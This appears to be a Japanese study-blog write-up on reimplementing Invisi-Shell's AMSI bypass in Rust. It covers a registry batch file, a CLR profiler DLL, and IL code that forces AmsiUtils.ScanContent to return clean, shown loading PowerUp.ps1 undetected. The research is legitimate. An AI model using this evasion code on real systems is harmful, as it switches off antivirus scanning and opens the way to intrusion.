CRTPというADに対する攻撃に主眼を置いた資格試験のラボをやっていた
この試験では基本的なWindowsの侵入検知機構が有効になっておりそれらをバイパスした上で目的を達成する必要がある
Certified Red Team Professional (CRTP)
読む資料や取り組むラボの順番を間違えたかもしれんが、唐突に「AMSIに検知されるから最初にこのツール実行しろ」と説明されていて無事スクリプトキディに
(ちなみにこのツールにはAMSI以外の検知処理を無効化する仕組みも入っているが今回はAMSIにフォーカスした)
AMSIバイパスの手法には一番有名なものとしてAmsiScanBuffer
関数の先頭アドレスを取得してVirtualProtect
やmemcpy
を使用してでパッチを当てるというバイパス手法があるが、Invisi-Shellのコードを見た感じ少し異なる手法を取っていたので見てみた
本記事は純粋に教育・研究目的で作成されています。ここで解説する技術や手法は、情報セキュリティ専門家やIT管理者がシステムの脆弱性を理解し、適切な防御策を講じるための知識提供を目的としています。
以下の点にご注意ください:
本記事の目的は、サイバーセキュリティへの理解を深め、より安全なデジタル環境の構築に貢献することにあります。知識は適切に活用されることを前提に共有されています。
Invisi-Shellの使い方はdllとbatを配置した後、batを実行するだけだが、bat内では環境変数設定、レジストリ書き込みだけしてpowershell起動しているだけだった
付属のDLLへのパスがレジストリに書き込まれていたので恐らくDLLがバイパス処理の実体だろう
RunWithRegistryNonAdmin.bat
set COR_ENABLE_PROFILING=1
set COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}" /f
REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}\InprocServer32" /f
REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}\InprocServer32" /ve /t REG_SZ /d "%~dp0InvisiShellProfiler.dll" /f
powershell
set COR_ENABLE_PROFILING=
set COR_PROFILER=
REG DELETE "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}" /f
後でDLLも見ていくがとりあえず環境変数COR_ENABLE_PROFILING
とCOR_PROFILER
が気になったので調べると、「プロファイルAPI」という機能が.NET Framework環境に存在することを知った
プロファイル (アンマネージ API リファレンス) - .NET Framework | Microsoft Learn
プロファイルAPIは割と古い技術で、調べるといろいろな方が実装されていた
Windowsで、実行ファイルを書き換えずに既存の.Netアプリケーションの関数を置き換える話 - math314のブログ
上記のブログに書かれているが、プロファイルAPIを使用するとCLRによってJITコンパイルされる前のILコードを書き変え、関数の処理を変更することができるらしい
Invisi-Shellはこの手法を用いて検知等に使用されている関数の処理を書き変えていることが分かった
プロファイルAPIは本来.NET実行環境の内部動作を監視・分析・操作するためのインターフェースであり、アプリケーションの性能分析やデバッグなどに使用することを目的として開発されたようである
プロファイル (アンマネージ API リファレンス) - .NET Framework | Microsoft Learn
プロファイルAPIのアーキテクチャは、主に以下の要素で構成されている
今回の関心対象はプロファイラなのでその実装と機能を中心に詳しく見ていく
まずCLRはプログラム実行時に特定の環境変数が設定されている場合、それらの値とレジストリの情報を基にプロファイラを読み込む
(一般的にプロファイラはDLLの形式で提供されている)
環境変数の値
COR_ENABLE_PROFILING=1
COR_PROFILER={プロファイラのCLSID}
レジストリエントリ
HKCU\Software\Classes\CLSID\{プロファイラのCLSID}
HKCU\Software\Classes\CLSID\{プロファイラのCLSID}\InprocServer32 // プロファイラDLLへのパス
Invisi-ShellのRunWithRegistryNonAdmin.bat
ではレジストリにCLSID
やInProcServer32
への書き込みがあるが、これはプロファイラDLL内にCOMオブジェクトが定義されていることを示している
また、このCOMオブジェクトにはプロファイラとして動作するためのインターフェースICorProfilerCallback
が実装されている必要がある
ICorProfilerCallback Interface - .NET Framework | Microsoft Learn
このインターフェースを実装していることにより、CLRがプロファイラDLLを読み込んだ後、ICorProfilerCallback
経由で実行時の情報がやり取りできる
.NETアプリケーションの実行時、JITコンパイラによってILコードがネイティブコードに変換される
ICorProfilerCallback
インターフェースにはこの変換プロセスにおいてフックするポイントが複数用意されている
ILの書き換えにおいて重要なのはICorProfilerCallback::JITCompilationStarted
関数である
HRESULT JITCompilationStarted( [in] FunctionID functionId, [in] BOOL fIsSafeToBlock);
ICorProfilerCallback::JITCompilationStarted Method - .NET Framework | Microsoft Learn
このコールバックは関数がJITコンパイルされる前にその関数のfunctionId
を引数として呼び出されるため、この関数を実装することでJITコンパイル前にILコードを書き変えることができる(詳細な実装は後述)
ここまででプロファイラとしてCLRに読み込ませるためには以下が必要であることが分かった
ICorProfilerCallback
インターフェースの実装ICorProfilerCallback::JITCompilationStarted
内での対象ILの書き換えまず最小のDLLを実装できる必要がある
ダイナミック リンク ライブラリ (DLL) - Windows Client | Microsoft Learn
C++での実装例は以下の通りでこのシグネチャに則ったDllMain
関数をエクスポートすればプロセスやスレッドがDLLにアタッチ、デタッチした際に呼び出される処理を記述できる
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACHED: // A process is loading the DLL.
break;
case DLL_THREAD_ATTACHED: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
ただ、今回はDLLとしてアタッチ、デタッチされる際の処理は不要なので省略しても問題ない
COMオブジェクトとして動作させるために後述する関数をエクスポートする
また、上記の例はC++実装なのでRust実装に変換する必要がある
以下の公式説明を読んでもなんだかピンとこないがClaudeが要約するに
COM(Component Object Model)はMicrosoftが開発したバイナリインターフェース規格で、異なるプログラミング言語で書かれたソフトウェアコンポーネント間の通信を可能にする技術
らしい
COM の技術概要 - Win32 apps | Microsoft Learn
コンポーネント オブジェクト モデル (COM) - Win32 apps | Microsoft Learn
たしかにCLRとC++の連携を提供しているし、今回実装するプロファイラはRust製だがCLRやC++で書かれたCOMオブジェクトと通信が可能だ
COMには大別してインターフェース
とクラス
、オブジェクト
という概念があるらしい
この辺は調べた感じプログラミング言語によくあるそれらとほぼ同じ概念だろう
COMインターフェースは一般的なインターフェースと同様にCOMクラスに対して実装する関数を定義する
システム内で名前が重複してもいいように各COMインターフェースにはIID
と呼ばれる128bitのGUIDを設定する必要があり、このIID
で識別される
COMインターフェースは継承が可能で、インターフェースAを継承したインターフェースBにはインターフェースAの関数を実装することが強制される
Interfaces (COM) - Win32 apps | Microsoft Learn
ただし、複数のインターフェースを継承することはできないっぽい
今回実装するICorProfilerCallback
にも現在ICorProfilerCallback9
までが存在しており、おそらくICorProfilerCallback9
がICorProfilerCallback8
を継承し、ICorProfilerCallback8
がICorProfilerCallback7
を継承し…のように単一継承の制限があるのでこのように機能を拡張していってるのかな?
COMインターフェースを実装した実体
COMインターフェースを実装したCOMクラスはCOMインターフェースで定義されている関数の実装を全て提供する必要がある
COMクラスにはIID
と同様にCLSID
と呼ばれる128bitのGUIDを定義する必要がある
COMクラスを呼び出す側は主にこのCLSIDを用いて呼び出すクラスを識別している
「プロファイラの登録と初期化」の章でプロファイラのCLSIDをレジストリに登録する必要があると書いたが、このことからプロファイラはCOMクラスとして提供されていることがわかる
プロファイラを実装する場合、CLSID
からCOMクラスのインスタンスを作成するためにIClassFactory
を実装したCOMクラスを定義する必要がある
これはCLRがプロファイラを読み込もうとする際、CLRがCoGetClassObject
などの方法を用いずにCOMオブジェクトを取得しようとすることに起因すると思われる(以下にIClassFactoryを実装する必要がある場合について記載有)
COM クラス オブジェクトと CLSID - Win32 apps | Microsoft Learn
COMクラスの定義から実行時にメモリ上に作成されたオブジェクト
一般的なオブジェクト指向プログラミング言語に合わせるならインスタンスとも言える
こいつが一番ややこしい(主に名前が)
クラスオブジェクトはその他のCOMオブジェクトのインスタンスを作成する役割を持つ。クラスオブジェクトはこの役割をIClassFactory
インターフェースを実装することで提供する。
COMクライアントがCoCreateInstance
関数などでCOMクラスを初期化しようとすると、そのCOMクラスが直接初期化されずCOMクラスオブジェクトを経由して初期化されるらしい
全てのCOMインターフェースが継承しているインターフェース
以下の三つの関数を定義しておりQueryInterface
によって他のインターフェースのポインタを取得し、その実装を使用することができる
HRESULT QueryInterface(REFIID riid, void **ppvObject);
ULONG AddRef();
ULONG Release();
その他の関数は自身の参照を管理するカウンタのようなもの
後述のwindows-rs
を使えばこの辺はクレート側で管理してくれるっぽい
再実装に必要な情報はあらかた調べ終わったので今度はRustで実装するにはどうするか調べながら実装していく
ICorProfilerCallback
の詳しい実装も実装しながら見ていく
まずRustでDLLやWindows APIを使用するためにMicrosoft公式のwindows-rs
クレートを使用することにした
以前にAMSI Providerを作成した際にも同クレートを使用したため、ある程度使用方法は分かっている(つもり)
windows-rs
クレートのドキュメントに沿って実装していく
Creating your first DLL in Rust - Kenny Kerr
重要なの要素は以下
crate-type = ["cdylib"]
を指定するcargo generateを使ってDllMainを持つ初期コードを生成しても良い
cargo install cargo-generate
cargo generate --git https://github.com/r1k0t3k1/rust-windows-template.git
プロファイラ初期化の順で見ると以下の実装が必要
プロファイラとしての処理の流れを図示するとこんな感じ
以下に則った関数を実装すればOK
#[no_mangle]
アトリビュートを設定し、関数名のマングリングを抑制するextern "system"
を付与し、呼び出し規約を明示関数実装例
#[no_mangle]
extern "system" fn Hello() -> HRESULT {
E_NOTIMPL
}
ここまででビルドすれば指定した関数がエクスポートされたDLLが生成できる
CLRがDLLをロードした際に最初に呼ばれるエクスポート関数
Rustにおける関数シグネチャは以下の通り
#[no_mangle]
extern "system" fn DllGetClassObject(
rclsid: *const GUID,
riid: *const GUID,
ppv: *mut c_void,
) -> HRESULT
rclsid
のCOMオブジェクトが実装するインターフェースID(試した限りではIUnknownのIIDになる模様)riid
のインターフェースを指すポインタを返す現時点では返すCOMオブジェクトが実装できていないのでE_NOTIMPL
を返すように実装しておく
#[no_mangle]
extern "system" fn DllGetClassObject(
rclsid: *const GUID,
riid: *const GUID,
ppv: *mut c_void,
) -> HRESULT {
E_NOTIMPL
}
CLRから呼び出されたDllGetClassObject
関数の第一引数rclsid
はレジストリに登録したプロファイラのCLSIDになる
そして、riid
にはICorProfilerCallback
のIIDではなく、IClassFactory
のIIDが指定される
DllGetClassObject
が呼び出された際のrclsid
およびriid
なぜ直接ICorPrfilerCallback
のインターフェースが要求されないのかが疑問だがこれがCOMにおけるインスタンス作成のお作法らしい。
windows-rs
クレートを使用した実装は以下のようになる
Structを定義し、implement
マクロに実装したいインターフェースを指定し、実装を書くだけだったので楽だった
プロファイラの実装が終わったら、CreateInstance
関数でプロファイラのインスタンスを返すようにする
#[implement(IClassFactory)]
pub struct AchtungBabyClassFactory {}
impl IClassFactory_Impl for AchtungBabyClassFactory_Impl {
fn CreateInstance(
&self,
punkouter: Ref<'_, IUnknown>,
riid: *const GUID,
ppvobject: *mut *mut c_void,
) -> windows_core::Result<()> {
// [snip]
}
fn LockServer(&self, _flock: windows_core::BOOL) -> windows_core::Result<()> {
Ok(())
}
}
IClassFactory
の実装と同様の方法が使える
ICorProfilerCallback
の場合は実装しなければいけないインターフェースが少し多くなる
が、大半の関数はIDEの自動実装機能で導出できるし、使わない関数なら中身は空実装(Ok(())
を返すだけなど)で良い
#[implement(
ICorProfilerCallback5,
ICorProfilerCallback4,
ICorProfilerCallback3,
ICorProfilerCallback2,
ICorProfilerCallback
)]
pub struct AchtungBabyProfiler {
profiler_info: OnceLock<ICorProfilerInfo3>,
}
impl ICorProfilerCallback_Impl for AchtungBabyProfiler_Impl {
fn Initialize(
&self,
picorprofilerinfounk: windows_core::Ref<'_, windows_core::IUnknown>,
) -> windows_core::Result<()> {
// [snip]
}
// 同様に70関数程度を自動実装
初期化処理やJITコンパイル時のコールバックはICorProfilerCallback
に定義されているため、このインターフェースのみを実装したCOMクラスを定義してCLRから読み込ませてみたが、正しく読み込まれないようで初期化処理などが実行されなかった。
Windowsのイベントログを漁ってみると以下のようなメッセージが。
どうやらICorProfilerCallback
のみを実装したCOMクラスは.NET Framework4の環境では「古いCLR向けのプロファイラ」として認識されるようで読み込みが中止されている様子
.NET Framework4から使用可能になったICorProfilerCallback3
インターフェースも実装するとうまく読み込まれた
中身の実装が必要な関数は以下
CLRがプロファイラを初期化する際に呼ばれる関数
第一引数にはICorProfilerInfo
インターフェースに変換可能なIUnknown
インターフェースへのポインタが設定される
Initialize
関数内ではCLRが発生させるプロファイラに関するイベント通知において、どのイベント通知を受け取るかを設定する必要がある
それができるのはICorProfilerInfo::SetEventMask
関数のみであり、ICorProfilerInfo
が取得できるタイミングはこのInitialize
関数の呼び出し時のみ
コールバック関数においてもICorProfilerInfo
は使用するのでCOMクラスの構造体に格納するなどして保持しておく
※ちなみにwindows-rs
のIUnknown
はcast
関数で安全にインターフェースを変換することができる
内部的にはQueryInterface
関数を呼んでいるはずなのでただのラッパーかと
profiler_info.cast::<ICorProfilerInfo3>()?
取得したICorProfilerInfo
インタフェースからSetEventMask
を実行する
引数には購読したい通知をビットマスクで指定する
一番重要なのはCOR_PRF_MONITOR_JIT_COMPILATION
である
このイベントを購読するとJITコンパイルの開始通知を受け取ることができる
unsafe {
self.get_profiler_info().unwrap().SetEventMask(
COR_PRF_MONITOR_ASSEMBLY_LOADS.0 as u32 | // アセンブリの読み込み通知を購読
COR_PRF_MONITOR_JIT_COMPILATION.0 as u32 | // JITコンパイルの開始通知を購読
COR_PRF_USE_PROFILE_IMAGES.0 as u32, // NGENにより予めJITコンパイルされたライブラリにおいてもJITコンパイルさせる
)?
};
COR_PRF_USE_PROFILE_IMAGES
はNGENによりJITコンパイル結果がキャッシュされているイメージにおいてもJITコンパイルさせるようにする
今回フックしたいScanContent
はSMA.dllに定義されているがこれはNGENにより事前コンパイル結果がキャッシュされてしまっているため、このビットマスクを指定しないとJITコンパイルイベント通知が発生しない
SetEventMask
関数で正しく購読設定ができている場合は関数のJITコンパイル時にJITCompilationStarted
関数が呼ばれる
このときfunctionId
はコンパイル対象の関数の値が設定されるのでこの値を元にILの書き換えを行っていく
HRESULT JITCompilationStarted(
[in] FunctionID functionId,
[in] BOOL fIsSafeToBlock);
IL書き換えの詳細については後述
大まかな流れは以下の通り
functionId
を引数にICorProfilerInfo::GetFunctionInfo
を呼び出し、moduleId
と関数のメタデータトークンへのポインタpToken
を取得moduleId
とpToken
を引数としてGetILFunctionBody
関数を呼び出し、関数の先頭アドレスとサイズを取得SetILFunctionBody
関数でfunctionId
の関数のポインタを上書きするこの関数ではJITコンパイル結果を確認するだけ
functionid
でJITコンパイル済みの関数IDが渡ってくる
fn JITCompilationFinished(
&self,
functionid: usize,
_hrstatus: windows_core::HRESULT,
_fissafetoblock: windows_core::BOOL,
) -> windows_core::Result<()> {
// [snip]
}
渡ってきたfunctionid
を引数としてICorProfilerInfo::GetCodeInfo2
を呼び出すことでネイティブコードの配置アドレスが取得できる
関数の先頭アドレスから取得したバイナリを適当なディスアセンブラに通すとネイティブコードが再現できる
今回はSystem.Management.Automation.dll
に定義されているAmsiUtils.ScanContent
関数をIL書き換えの対象にする
この関数は内部でamsi.dll
のAmsiScanBuffer
関数を呼び出しており、ScanContent
関数をバイパスするとAmsiScanBuffer
関数の呼び出しをスキップでき、結果としてAMSIの検証をパスすることができる
以下の関数リファレンスを辿った図からもScanContent
関数がScriptBlock.Compile
関数などから間接的に呼び出されていることがわかる
おそらくPowerShellコンソールから入力したスクリプトはすべてこのCompile
関数を経由してScanContent
関数に渡ると思われる
ScanContent
関数のシグネチャは以下の通りで戻り値のAMSI_RESULT
がAMSIスキャンの結果を表していると思われる
AMSI_RESULT
の定義はSystem.Management.Automation.AmsiUtils.AmsiNativeMethods
の中にある
これを見るにu32の0がAMSI_CLEAN
なのでScanContent
関数が固定で0を返すようにILを書き換えれば良さそうなことがわかった
ICorProfilerCallback::JITCompilationStarted
の詳細実装を説明する
functionId
を引数にICorProfilerInfo::GetFunctionInfo
を呼び出し、moduleId
と関数のメタデータトークンへのポインタpToken
を取得- 1で得た
moduleId
とpToken
を引数としてGetILFunctionBody
関数を呼び出し、関数の先頭アドレスとサイズを取得- 2で得た関数のヘッダ部分をコピーするか、新規に定義してコピー先関数用の関数ヘッダを作成する
- 関数ヘッダと自身で定義したIL(関数本体)を連結し、
SetILFunctionBody
関数でfunctionId
の関数のポインタを上書きする
1,2は特に難しい操作はないが、この処理の中でILを書き換える関数を識別する必要がある
詳細は省略するがfunctionId
を元にICorProfilerInfo::GetTokenAndMetaDataFromFunction
関数やIMetaDataImport2::GetMethodProps
関数、IMetaDataImport2::GetTypeDefProps
関数を使用することで関数が定義されている名前空間や関数名が取得できるため、それを用いて目的の関数を識別する
3,4のIL書き換えにあたってはICorProfilerInfo::SetILFunctionBody
関数を使用する
この関数を使用することで関数が指すILメソッドを変更することができ、結果として関数の処理を変更することができる
第一引数はICorProfilerInfo::GetFunctionInfo
関数で取得したmoduleID
、第二引数がわかりづらいがこれも上記関数の呼び出しで取得したpToken
(関数のメタデータトークンへのポインタ)を設定する
第三引数には新しく用意したILメソッドへのポインタを設定する
HRESULT SetILFunctionBody(
[in] ModuleID moduleId,
[in] mdMethodDef methodid,
[in] LPCBYTE pbNewILMethodHeader);
では新しいILメソッドはどのようにして用意するか
前提として、ILメソッドはILメソッドヘッダとILメソッドボディから構成されており、これらを適切に設定する必要がある
これにあたって以下を試してみた
前者のRustでの実装例は以下
ILメソッド先頭アドレスからサイズ分のバイト列をIMAGE_COR_ILMETHOD
として取得して複製しているだけ
unsafe {
self.get_profiler_info().unwrap().GetILFunctionBody(
pmoduleid,
ptoken,
&mut ppmethodheader,
&mut pcbmethodsize
)?;
}
let il_bytes = unsafe { std::slice::from_raw_parts(ppmethodheader, pcbmethodsize as usize) };
let il_method = unsafe { *(il_bytes.as_ptr() as *const IMAGE_COR_ILMETHOD) };
let mut cloned_header = il_method.clone();
// cloned_headerとILメソッドボディを連結してSetILFunctionBodyを呼ぶ
難しかったのは後者の方で、ILメソッドヘッダの理解が必要
ILの仕様は以下の資料で定義されている
II.25.4.1
にて、ILメソッドにはTiny
とFat
、2つのフォーマットが存在することがわかる
それぞれILメソッドがどちらのフォーマットになるかの条件は以下の通り
今回定義するILメソッドボディはEAXに0を設定してリターンするのみ、といった単純な関数であり、Tinyフォーマットで十分である
Tinyフォーマットの場合、ヘッダ全体のサイズは1byteとなり、そのうち先頭2bitでTinyフォーマットを示す0x02
、後続6bitでメソッドボディのサイズを示す
試しに以下のような関数をビルドしてみた
ビルドした結果生成されたILは以下のようになりTinyフォーマット(ヘッダが1byteのため)でコードサイズが4byteとなった
その場合Tinyヘッダの値は0b00010010
=0x12
となるはず
当該関数の実行ファイルにおけるファイルオフセットをHEXエディタ等で確認すると計算通り0x12
となっていた
そのためRustでは以下のようなu8の数値を定義するだけでOK
// メソッドボディサイズのビットは定義するILメソッドボディによって変える
let tiny_header = 0b001010_u8;
続いてILメソッドボディの実装
ILはアセンブリのように一つ一つの命令からなるバイト列なので、下記を参照しながら目的に沿った処理を実行できるように命令列を組み合わせていく
今回は単純に戻り値として0を返すだけのILメソッドを定義したいのでILオペコードは以下のようになる
0x16 // 評価スタックに0をPUSH
0x2a // ret
これを踏まえ、定義するILメソッド全体の定義は以下のようになる
let new_il: [u8; 3] = [
0b00001010, // tiny method header and code size
0x16, // push 0 to stack top
0x2a, // ret
];
続いてILメソッドの書き換え
まずGetILFunctionBodyAllocator
を使用してメモリアロケータを取得する
アロケータで確保したメモリ領域に新しく定義したILメソッドを書き込む
SetILFunctionBody
を使用して書き込み先の先頭アドレスを関数が指すILメソッドとして上書きする
let method_alloc = unsafe {
self.get_profiler_info()
.unwrap()
.GetILFunctionBodyAllocator(pmoduleid)?
};
let allocated = unsafe { method_alloc.Alloc(new_il.len() as u32) as *mut u8 };
unsafe { std::ptr::copy_nonoverlapping(new_il.as_ptr(), allocated, new_il.len()) };
unsafe {
// ILの本体を差すポインタを上書きする
let r = self
.get_profiler_info()
.unwrap()
.SetILFunctionBody(pmoduleid, ptoken, allocated);
if r.is_err() {
println!("{:?}", r);
}
};
ここまで定義ができたらビルドしてbatを呼び出すことでILコードから生成されるネイティブアセンブリが意図したように書き換えられていることがわかる
途中に挟まれているcall
命令が気になるが調べてみたらCLRが挿入するGCに関する処理っぽい(現在のAppDomainを取得する処理をインラインで記述して高速化を図っている?)
このへんよくわかってない
JIT_GetSharedNonGCStaticBase_InlineGetAppDomainの定義
DllGetClassObject
を実装し、IClassFactory
を返却するIClassFactory
を実装し、CreateInstance
関数でプロファイラを返却するICorProfilerCallback
を実装するICorProfilerCallback::Initialize
を実装し、購読したいイベントを設定するICorProfilerCallback::JITCompilationStarted
を実装し、ILを書き換えるICorProfilerCallback::JITCompilationFinished
を実装し、書き換えたILを確認する(オプション)上記の画像では最初に素のPowerShellからPowerUP.ps1
を読み込ませようと試みたが、This script contains malicious content and ...
と表示されスクリプトの読み込みがブロックされたことがわかる
一方で、プロファイラをアタッチしたPowerShell上ではPowerUP.ps1
を読み込むことに成功していることがわかる
Get-UnquotedService
やGet-ModifiableServiceFile
コマンドレットが利用できることも確認した
成果物